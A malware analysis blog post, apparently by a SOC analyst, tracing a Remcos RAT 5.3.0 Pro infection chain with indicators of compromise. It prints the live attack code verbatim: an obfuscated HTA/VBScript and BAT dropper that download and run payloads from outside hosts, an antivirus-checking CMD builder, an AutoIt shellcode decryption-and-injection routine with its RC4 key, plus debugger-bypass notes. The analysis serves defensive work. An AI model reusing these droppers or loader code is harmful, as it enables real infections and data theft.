====================
== Alert Overload ==
====================
Tales from a SOC analyst

Remcos v5.3.0

Remcos RAT

Reverse Engineering a Remcos RAT 5.3.0 Pro sample

alt text

This sample was taken from MalwareBazaar.

I was in the mood to do some malware reversing and came across an HTA sample on Malware Bazaar that seemed interesting. I had recently finished cleaning up some Lumma Stealer infections at work, and I wanted to dig into something that had a little more going on for it. There’s only so many fake captcha pages you can clean up in one day :).

The HTA file contained a VBScript that immediately downloaded a Windows BAT file when executed.

file:8da5bb4d9cfd29718720e839bb75ee58f92b6e41f0181b6eede4234d3122dab6.hta

<html>
<head>
    <title></title>
    <HTA:APPLICATION
        ID="app"
        APPLICATIONNAME="Downloader"
        WINDOWSTATE="minimize"
        BORDER="thin"
        SCROLL="no"
        SINGLEINSTANCE="yes"
        SHOWINTASKBAR="no"
        SYSMENU="no"
    />
    <script language="VBScript">
        Sub a1
            Dim b2, c3, d4, e5
            Dim f6, g7, h8

            ' Obfuscated string construction
            b2 = "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & ".exe -NoProfile -Command "
            f6 = "[Net.ServicePointManager]::SecurityProtocol"
            g7 = "=[Net.SecurityProtocolType]::Tls12;"
            h8 = "$u='https://candwfarmsllc.com/c2.bat';"
            d4 = "$o=$env:TEMP + '\c2.bat';"
            c3 = "Invoke-WebRequest -Uri $u -OutFile $o;"
            b2 = b2 & Chr(34) & f6 & g7 & h8 & d4 & c3 & "Start-Process -FilePath $o -NoNewWindow" & Chr(34)

            ' Execute the obfuscated command
            Set e5 = CreateObject("WScript.Shell")
            e5.Run b2, 0, True
        End Sub

        Sub Window_OnLoad
            a1
            Window.Close
        End Sub
    </script>
</head>
<body>
</body>
</html>

This code downloads and executes a c2.bat file using PowerShell with the following options:

    powershell.exe -NoProfile -Command & "Start-Process -FilePath $env:TEMP\c2.bat -NoNewWindow"

The BAT file was heavily obfuscated (a recurring trend). Deobfuscating the script revealed that it download a ZIP archive and a PDF file. The ZIP archive was expanded to a folder, and the contained binary was executed.

file: 1F6CE0F5CD3793AAEA9B3F9DE99F04679B8DB2F1056532982D835E665006ECE7.bat

@echo off
set url=https://myguyapp.com/msword.zip
set url=https://myguyapp.com/msword.zip
set url2=https://myguyapp.com/W2.pdf
set url2=https://myguyapp.com/W2.pdf
powershell -WindowStyle Hidden -Command "Invoke-WebRequest -URI $url2 -OutFile %USERPROFILE%\Downloads\W2.pdf"
cd %USERPROFILE%\Downloads
start W2.pdf
powershell -WindowStyle Hidden -Command "Invoke-Webrequest -Uri  -OutFile \msword.zip"
powershell -WindowStyle Hidden -Command "Expand-Archive -Path \msword.zip -DestinationPath \msd -Force"
cd \msd
start msword.exe

Dropped files:

Name SHA256Hash
msword.zip AB2B6D3C849A207A93CFEC18A684EF980AE681C4F901A3B12858A2C3AC05ECCC
↳ msword.exe 9DCF3E57C4962A4C5BA0866AF3C16E7D16427448FD75E1D78F7C3D9A70675BFA
W2.pdf 568CB24BFE35FD292AA0923413E1707B057A281059759AF52FC4392F901A8383

At the point of analysis, these files had not been uploaded anywhere. As of writing, the executable is detected on VirusTotal.

The PDF was a document titled “Limited Liability Company Articles of Organization” for a LLC in Kansas. All of the info is correct and checks out with the Kansas Secretary of State. It’s certainly not a ‘W2’ however.

The unpacked executable uses a Nullsoft Scriptable Install System built Windows installer.

alt text

The installer writes a CMD file, as well as several other files, to AppData\Local\Microsoft\Windows\INetCache.

alt text

The CMD file is also heavily obfuscated with nonsensical words and phrases.

file: 3B887BAB036D30A1A4FB5C2C6B828F5EF3D8D5C1FF8D4147ED647ACB51AC808A.cmd

Snippet
...
rzZRFinish Jewish Arrow Wonder 
wzznAct 
SLjCable Threat Radios Scanning Wifi Grade Enrollment Letter Periods 
cho%Fundamental%c%Okay%%Rl%%Banana%d%Rl%%Open%%Rl%%Banana%t%Rl%%RwCZhWltOslIolRDpHG%
IOnRLane 
UgvGovernments Eva Slots Believes 
CaArbitrary Lake Alignment Treasury 
ngevCollectible Margaret Facilitate Chosen Champagne Proper Nn Actions Damaged 
ZnRXScoop Legal Hanging Voted Texts 
NoRepublicans Gazette Pamela 
BaPbType Blast Tests Acne Dd Clearance Bug Junk Collected 
cvPike Australia Groove Charges Volunteer Summit 
BMGirlfriend Boolean Harris Roster 
...

Deobfuscated, this reveals a function that builds executables from the downloaded files using copy /b.

file: 3B887BAB036D30A1A4FB5C2C6B828F5EF3D8D5C1FF8D4147ED647ACB51AC808A.cmd
NOTE: This was done with find/replace, so take it with a grain of salt. 

Snippet
...
task1ist | findstr /I "opssvcwrsa" & ifnoterror1eve11 ping -n 183 127.0.0.1
Set %dir%=361684
tasklist | findstr "AvastUIAVGUIbdservicehostnsWscSvcekrnSophosHealth" & ifnoterror1eve11 Set autoit=AutoIt3.exe & Set ext=.a3x & Set num=300
cmd /c md %dir%
extract 32 /Y /E Approaches < nul
set /p = "MZ" > %dir%\%autoit%
findstr /V "Korea" Measurement >> %dir%\%autoit%
cmd /c copy /b %dir%\%autoit%+Different+Constitute+Instant1y+Led+Indonesia+Dressing+Missed+Brian+C1inton+Protoco1 %dir%\%autoit%
cd %dir%
cmd /c copy /b ..\Next+..\Math+..\B1ocked+..\Leisure+..\Substantia1+..\Beam+..\Cocks+..\David+..\Undefined+..\Rea1mU%ext%
start %autoit%U%ext%
cd..
choice /dy /t %RwCZhWltOslIolRDpHG%

This CMD script looks for several known anti-virus solutions before creating and AutoIt3 executable and script. The files are built from the downloaded files using a binary copy. After building the executable and script, the AutoIt3 binary is launched.

The AutoIt3 executable is renamed to Propose.com (Hash: 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49) in the created directory, 361684. Propose.com reaches out to 178.237.33.50 to retrieve the geolocation data of the host. It also beacons back to 193.26.115.39.

Propose.com uses the built AutoIt3 script file to perform reconnaissance, enumeration, persistence, and beaconing. Part of the persistence processes employed are the creation of a scheduled task and related files in C:\Users\Admin\AppData\Local\ConnectWare Technologies Ltd\.

alt text

alt text

alt text

The following files are created:

Name SHA256Hash
LinkHub.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
LinkHub.js 47CD3EB0892FDB111D2EC25A04A28386EE45740F17BD741D6CF4E1B8209E46F7
y 62BD76A99BCD9EAE526C4A6D147C02832138A6AA1D38559DB20174F74D806946

Linkhub.com is the same AutoIt3 executable as Propose.com, and the ‘y’ file is the same AutoIt3 script that was written with Propose.com. Essentially, this is just copying the files to this directory. The JavaScript file is used to launch the AutoIt3 script.

file: 47CD3EB0892FDB111D2EC25A04A28386EE45740F17BD741D6CF4E1B8209E46F7

new ActiveXObject("W"+"script.Shell").Exec("\"C:\\Users\\Admin\\AppData\\Local\\ConnectWare Technologies Ltd\\LinkHub.com\" \"C:\\Users\\Admin\\AppData\\Local\\ConnectWare Technologies Ltd\\y\"")

Autoit-ripper (as recommended here) was used to disassemble the AutoIt3 script. Some warnings may have been ignored as a part of this.

alt text

I firmly do not recommend that anyone violates any EULAs. So, definitely do not patch your AutoIt3 executable here to skip their debugger check.

alt text

Of course, there is no need to reverse the AutoIt3 executable to see what the script is doing when tools like autoit-ripper exist. I did waste a lot of time in IDA because I thought it would be easier than reversing the compiled script. Skipping all of that, the AutoIt3 script itself was by far the most obfuscated script used in this attack chain. Originally at 7k lines, the script contained a significant amount of random strings, fake functions, and bloated looping.

All strings were also encoded and passed through this function to decode during execution.

Func RESTAURANTSALCOHOL ( $array , $Offset )
    $ReturnArray = ""
    While 682
        $LIGHTFIREPLACEEARLY = 4708
        Switch $LIGHTFIREPLACEEARLY
        ;~ Case 4707
        ;~  Floor ( 187 )
        ;~  PixelGetColor ( "Expiration*Chair*" , "Expiration*Chair*" )
        ;~  PixelGetColor ( "AUSTRIA^BREAD^FOUNDATIONS^GEOLOGICAL^" , "AUSTRIA^BREAD^FOUNDATIONS^GEOLOGICAL^" )
        ;~  MemGetStats ( )
        ;~  MemGetStats ( )
        ;~  MemGetStats ( )
        ;~  IsDeclared ( "Prince!Assistance!Voltage!Essential!" )
        ;~  Ceiling ( 643 )
        ;~  $LIGHTFIREPLACEEARLY = $LIGHTFIREPLACEEARLY + 418754 / 418754
        Case 4708
            ;~ stupid array thingy to return a 0-bound array from input
            $StringArray = Call ( StringReverse ( "tilpSgnirtS" ) , $array , "^" , 2 )
            ExitLoop
        EndSwitch
    WEnd
    For $Index = 749306 + 4294217990 To Call ( "UBound" , $StringArray ) + 4294967295
        While 84
            $THEREKNIGHTSTURNS = 30546
            Switch $THEREKNIGHTSTURNS
            ;~ Case 30544
            ;~  Chr ( 572 )
            ;~  Exp ( 7534 )
            ;~  Exp ( 7799 )
            ;~  Ceiling ( 4787 )
            ;~  ObjGet ( "retrieve application " )
            ;~  IsDeclared ( "Saver@" )
            ;~  $THEREKNIGHTSTURNS = $THEREKNIGHTSTURNS + 391566 / 391566
            ;~ Case 30545
            ;~  PixelGetColor ( "RPM-TIMELINE-SUPPORT-" , "RPM-TIMELINE-SUPPORT-" )
            ;~  Floor ( 334 )
            ;~  ObjGet ( "Remarkable+" )
            ;~  DirGetSize ( "Dust*Occurred*Discount*" )
            ;~  $THEREKNIGHTSTURNS = $THEREKNIGHTSTURNS + 514715 / 514715
            Case 30546
                $ReturnArray &= ChrW ( $StringArray [ $Index ] - $Offset )
                ExitLoop
            ;~ Case 30547
            ;~  Floor ( 164 )
            ;~  Floor ( 107 )
            ;~  Cos ( 1555 )
            ;~  PixelGetColor ( "YOUNGER@" , "YOUNGER@" )
            ;~  ObjGet ( "AGREEMENTS*BEACH*" )
            ;~  IsDeclared ( "PROFESSIONALS+CR+COMPONENT+" )
            ;~  $THEREKNIGHTSTURNS = $THEREKNIGHTSTURNS + 215241 / 215241
            EndSwitch
        WEnd
    Next
    Return $ReturnArray
EndFunc

As shown in this function, which I decided to call GetUnicode, the script author chose to wrap every statement in a while loop / switch wrapper. All switches were static, so they could never resolve to any option other than what was statically set. This made deobfuscation a real chore. I’m sure someone smart out there could script it all out, but I went through all 7k lines with ctrl+h and ctrl+alt+enter 💀

Debofuscated, GetUnicode looks something like this:

Func RESTAURANTSALCOHOL ( $array , $Offset )
	$ReturnArray = "" 
	$StringArray = Call ( StringReverse ( "tilpSgnirtS" ) , $array , "^" , 2 ) 
	For $Index = 749306 + 4294217990 To Call ( "UBound" , $StringArray ) + 4294967295 
        MsgBox(0, "test", $StringArray [ $Index ] & "[" & $Index & "] - " & $Offset)
		$ReturnArray &= ChrW ( $StringArray [ $Index ] - $Offset )
	Next
	Return $ReturnArray
EndFunc

I added the MsgBox statement for debugging.

All this does is take the passed string, split it by ‘^’, and run through each number, converting it to a char after performing some math to get an offset to subtract from it.

To speed up deobfuscation, I wrote a small PowerShell function to reverse the strings.

Function GetUnicode() {
    [CmdletBinding()]
    param (
        [array]
        $array,
        [int64]
        $offset
    )
    if($offset -gt (749306 + 4294217990)){
        $offset = (749306 + 4294217990) - $offset
    }
    if($array[1]){
        # write-host $array[1..$array.Length]
        if(([int64]$array[1] + [int64]$array[2]) -gt (749306 + 4294217990)){
            $offset = (749306 + 4294217990) - ([int64]$array[1] + [int64]$array[2])
        }else{
            $offset = $array[1]
        }
        [byte[]]$barray = $array[0].split("^"); # Get array from string
    }else{
        [byte[]]$barray = $array.split("^"); # Get array from string
    }
    Write-Host "Offset: $offset"
    [byte[]]$rarray = @() # empty buffer
    foreach($i in $barray ) {
        $rarray += $([char]$i - [System.Math]::Abs($offset))
    }
    write "result: $([string]::new($rarray))"
}

This function was originally launched with -array "" -offset (x+x), but that became a pain, so it was rewritten to also accept the array used in the AutoIt script which was formatted as RESTAURANTSALCOHOL ( "108^127^119^115^118^121^108^121^53^108^127^108" , 7 + 0 ).

The AutoIt3 script contains shellcode that contains the Remcos RAT.

alt text

This shellcode is RC4 encrypted compressed with LZNT1 and must pass through a decryption and decompression function in order to execute. The decryption function gets a hardcoded RC4 key from GetUnicode and the shellcode seen above.

The obfuscated decode function was a main target of suspicion as it was used in the first function call in the script.

		Global $WAYDIYMONITORINGACTS = REACHINVESTIGATORLEATHERTOOK ( TRUSTEESCOLLEAGUEBRANCHESSCALES ( ANYONESURPRISEDLIPS ( Binary ( $VPNWLFA ) , Binary ( RESTAURANTSALCOHOL ( "57^56^61^53^60^58^56^60^54^53" , 6 + 4294967295 ) ) ) ) , $LANCEVOLUNTEERPROGRAM )

alt text

Deobfuscated-ish, the function looks like this:

NOTE: Again, this is find/replaced. Some issues exist ¯\_()_/¯

Func Decrypt ( $ShellCode , $UnicodeBinary )
	$AutoIT64Bit = Execute ( "@AutoItX64" )
	If $AutoIT64Bit Then
        ;~ 64-bit shellcode
		;~ Historic reports tell me this is RC4 
		;~ Therefore, what's happening is the passed ShellCode is being decrypted with the UnicodeBinary key
		Local $ShellCode = "0x9090554889C84889D54989CA4531C95756534883EC08C70100000000C741040000000045884A084183C1014983C2014181F90001000075EB488DB9000100004531D2664531C9EB3641BA0100000031F60FB658080FB6142E8D3413468D0C0E450FB6C94D63D9420FB6741908408870084883C00142885C19084839F8740E4539D07EC54963F241"
		$ShellCode &= "83C201EBC44883C4085B5E5F5DC389C056534883EC084585C0448B11448B49047E4E4183E8014A8D7402014183C2014181E2FF0000004963DA0FB6441908468D0C08450FB6C94D63D9460FB644190844884419084288441908418D04000FB6C00FB644010830024883C2014839F275BB448911448949044883C4085B5EC3"
	Else
        ;~ 32-bit shellcode
		Local $ShellCode = "0x90905531C057565383EC088B4C241C8B7C2420C70100000000C74104000000008844010883C0013D0001000075F28D910001000031DB8954240489C831D2891C2489CEEB32C704240100000031ED0FB648080FB61C2F8D2C198D5415000FB6D20FB66C160889EB88580883C001884C16083B44240474128B0C24394C24247EC58B2C2483042401EBC583C4085B5E5F5DC2100089"
		$ShellCode &= "C05557565383EC088B5424248B44241C8B6C242085D28B188B48047E5B31D2895C2404892C248B5C240483C30181E3FF000000895C24040FB67418088B6C24048D0C0E0FB6C90FB67C080889FB885C280889F38D343781E6FF000000885C08080FB67430088B3C2489F3301C1783C2013B54242475B089EB891889480483C4085B5E5F5DC21000"
	EndIf

	$ShellCode = Binary ( $ShellCode )
	Local $VAllocOffset_1 = ( StringInStr ( $ShellCode , "9090" ) + 4294967293 ) / 2
	Local $VAllocOffset_2 = ( StringInStr ( $ShellCode , "89C0" ) + 4294967293 ) / 2
	$VirtualAlloc = DllStructCreate ( "byte[" & Call ( "BinaryLen" , $ShellCode ) & "]" , DllCall ( "kernel32.dll" , "ptr" , "VirtualAlloc" , "ptr" , 0 , "ulong_ptr" , Call ( "BinaryLen" , $ShellCode ) , "dword" , 4096 , "dword" , 64 ) [ 0 ] )
	DllStructSetData ( $VirtualAlloc , 1 , $ShellCode )
	Local $UnicodeBinaryLength = Call ( "BinaryLen" , $UnicodeBinary )
	Local $UnicodeBinaryLengthStruct = DllStructCreate ( "byte[" & $UnicodeBinaryLength & "]" )
	DllStructSetData ( $UnicodeBinaryLengthStruct , 1 , $UnicodeBinary )
	Local $ByteBuffer = DllStructCreate ( "byte[272]")
	If $AutoIT64Bit Then
        ;~ DllCallAddress ( "return type", address [, type1, param1 [, type n, param n]] )
		Local $VAllocToBuffer = DllCallAddress ( "none" , DllStructGetPtr ( $VirtualAlloc ) + $VAllocOffset_1 , "ptr" , DllStructGetPtr ( $ByteBuffer ) , "ptr" , DllStructGetPtr ( $UnicodeBinaryLengthStruct ) , "uint" , $UnicodeBinaryLength , "int" , 0 )
	Else
		DllCall ( "user32.dll" , "uint" , "CallWindowProc" , "ptr" , DllStructGetPtr ( $VirtualAlloc ) + $VAllocOffset_1 , "ptr" , DllStructGetPtr ( $ByteBuffer ) , "ptr" , DllStructGetPtr ( $UnicodeBinaryLengthStruct ) , "uint" , $UnicodeBinaryLength , "int" , 0 )
	EndIf
	Local $UnicodeBinaryLength2 = Call ( "BinaryLen" , $ShellCode )
	Local $UnicodeBinaryLengthStruct2 = DllStructCreate ( "byte[" & $UnicodeBinaryLength2 & "]" )
	DllStructSetData ( $UnicodeBinaryLengthStruct2 , 1 , $ShellCode )
	If $AutoIT64Bit Then
		Local $VAllocToBuffer = DllCallAddress ( "int" , DllStructGetPtr ( $VirtualAlloc ) + $VAllocOffset_2 , "ptr" , DllStructGetPtr ( $ByteBuffer ) , "ptr" , DllStructGetPtr ( $UnicodeBinaryLengthStruct2 ) , "uint" , $UnicodeBinaryLength2 , "int" , 0 )
	Else
		DllCall ( "user32.dll" , "uint" , "CallWindowProc" , "ptr" , DllStructGetPtr ( $VirtualAlloc ) + $VAllocOffset_2 , "ptr" , DllStructGetPtr ( $ByteBuffer ) , "ptr" , DllStructGetPtr ( $UnicodeBinaryLengthStruct2 ) , "uint" , $UnicodeBinaryLength2 , "int" , 0 )
	EndIf
	Return GetStructData ( $UnicodeBinaryLengthStruct2 , 1 )
EndFunc

Once I started working on deobfuscating this function, I was able to find some reports on Remcos from 2020 that had very similar structure to this release. Zscaler Blog.

With some pointers from that article, it was simple enough to pull out the RC4 hardcoded key and decrypt the Remcos shellcode.

alt text

The key is gained from the first function call where it is passed to the decryption function. The result of that is passed to a decompress function, and finally injected.

Global $WAYDIYMONITORINGACTS = MAIN ( DecompressFragment ( Decrypt ( Binary ( $ShellCode_2 ) , Binary ( "4380753710") ) ) , $LANCEVOLUNTEERPROGRAM )

The extracted file hash was CD7A13F4278384739F44D8B06D80585A0207BCBA8BA2EC51F91C54AC05C42447. This is not detected on VirusTotal as of writing.

Once extracted, I loaded the Remcos payload into IDA for further analysis. Have some boring image dumps of strings that show off some of the capabilities of Remcos 5.3.0 Pro.

alt text

alt text

alt text

alt text

The payload performs a debugger check that can be NOP’d and patched to bypass.

alt text

alt text

The payload also makes some registry edits storing what may be remcos configuration data. Additionally, it starts a keylogger that logs to C:\ProgramData\remcos\logs.dat.

alt text

alt text

If you run the payload with a -l argument, you can get the license output to a text file called license_code.txt.

alt text

This sample appeared to use TLS to encrypt network traffic.

alt text

This seems to be a relatively recent development in Remcos. Most articles and posts had Remcos using RC4 to encrypt communications. The general format of the packets seem to have changed as well. This sample was sending information over TCP to 193.26.115.39, but also had TLS encrypted communications as well. The TCP traffic followed a clear format, but I was unable (and did not want to devote any additional time) to extract the encoded data and get it in clear text. THat being said, I did notice some trends in the network data.

server
00000746  [17 03 03] [00 25] 78 b1 7b  51 df f8 56 cc a8 83 f4   ....%x.{ Q..V....
00000756  bb b9 f1 08 11 98 36 4e  7d 39 ae 2a 91 da c1 c1   ......6N }9.*....
00000766  d9 6c d1 ac 8c cc 15 ac  0b 65                     .l...... .e

client
00001EC6  [17 03 03] [00 f4] b4 9a 11  b3 0c ef 73 0c 75 b4 b6   ........ ...s.u..
00001ED6  6d af 48 3f 42 00 75 ae  3e e2 9d ac 2a 34 6e 51   m.H?B.u. >...*4nQ
00001EE6  5c 03 a5 f9 06 90 ff 8c  c4 86 07 de ac eb bb 0a   \....... ........
00001EF6  4b 93 c7 13 6f a2 b9 a5  c0 25 03 3d 2a 03 ff 95   K...o... .%.=*...
00001F06  3f e6 7b 03 14 bc ef 21  fe c3 bf 90 b4 84 e7 c7   ?.{....! ........
00001F16  99 06 df 1d b2 e4 16 9b  d0 c8 58 36 18 ac f7 f9   ........ ..X6....
00001F26  c3 d4 06 f6 7c be 7f 55  72 69 22 41 91 b8 73 90   ....|..U ri"A..s.
00001F36  63 b0 98 a6 61 53 b2 af  11 c8 a1 a2 96 66 d1 3c   c...aS.. .....f.<
00001F46  d8 5d e6 93 1c 99 c8 89  91 a4 14 33 8a 1d 7d 01   .]...... ...3..}.
00001F56  cc 79 5e b9 a0 69 9f 83  72 51 bb ec 77 72 10 0c   .y^..i.. rQ..wr..
00001F66  9f 9c 02 cc d3 70 7b 77  f9 5d 1b f8 60 09 a5 4b   .....p{w .]..`..K
00001F76  61 2e 02 24 86 ba 0d 8d  99 c3 78 7d 0d 61 c8 31   a..$.... ..x}.a.1
00001F86  44 30 57 9f 96 ab 77 10  c0 0e 12 cf f6 8a 6c f4   D0W...w. ......l.
00001F96  6e 93 2e ae 71 b1 16 3b  72 69 26 26 96 7f 3d 03   n...q..; ri&&..=.
00001FA6  d8 ce 60 40 ad dd a3 ea  e0 fc 15 c2 f2 18 27 18   ..`@.... ......'.
00001FB6  2a 28 61 1d 99 c2 d8 6f  cb                        *(a....o .

The first 3 bytes appear to be some kind of identifier. The bytes are used in every TCP packet. They changed one time during the observed traffic, going from 16 03 03 to 17 03 03. Additionally, the 4th and 5th bytes determine the size of the data. This was consistent across all packets.

In the initial exchange of data, there were also some repeat numbers in the client and host data that did not appear in subsequent traffic.

alt text

No idea what it is, and my attempts to find some form of RC4 decryption method failed. But I believe the patterns represent some form of repeat data that could be used to decode/decrypt the traffic.

As a fun side note, if you mess with the registers a bit, you can get their cool REMCOS logo (seen in all it’s glory at the top of this post).

         ______
        (_____ \
         _____) )_____ ____   ____ ___   ___
        |  __  /| ___ |    \ / ___) _ \ /___)
        | |  \ \| ____| | | ( (__| |_| |___ |
        |_|   |_|_____)_|_|_|\____)___/(___/
        
        Remcos v5.3.0 Pro
        © BreakingSecurity.net

alt text

Indicators:

Type Value Purpose
IP 178.237.33.50 Geolocation
IP 193.26.115.39 C2 server
Hash 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49 AutoIt3 - This is always malware lol
Hash 62BD76A99BCD9EAE526C4A6D147C02832138A6AA1D38559DB20174F74D806946 AutoIt3 compiled script
Hash 47CD3EB0892FDB111D2EC25A04A28386EE45740F17BD741D6CF4E1B8209E46F7 Javascript loader - used in the scheduled task
Hash CD7A13F4278384739F44D8B06D80585A0207BCBA8BA2EC51F91C54AC05C42447 Remcos RAT - Undetected as of writing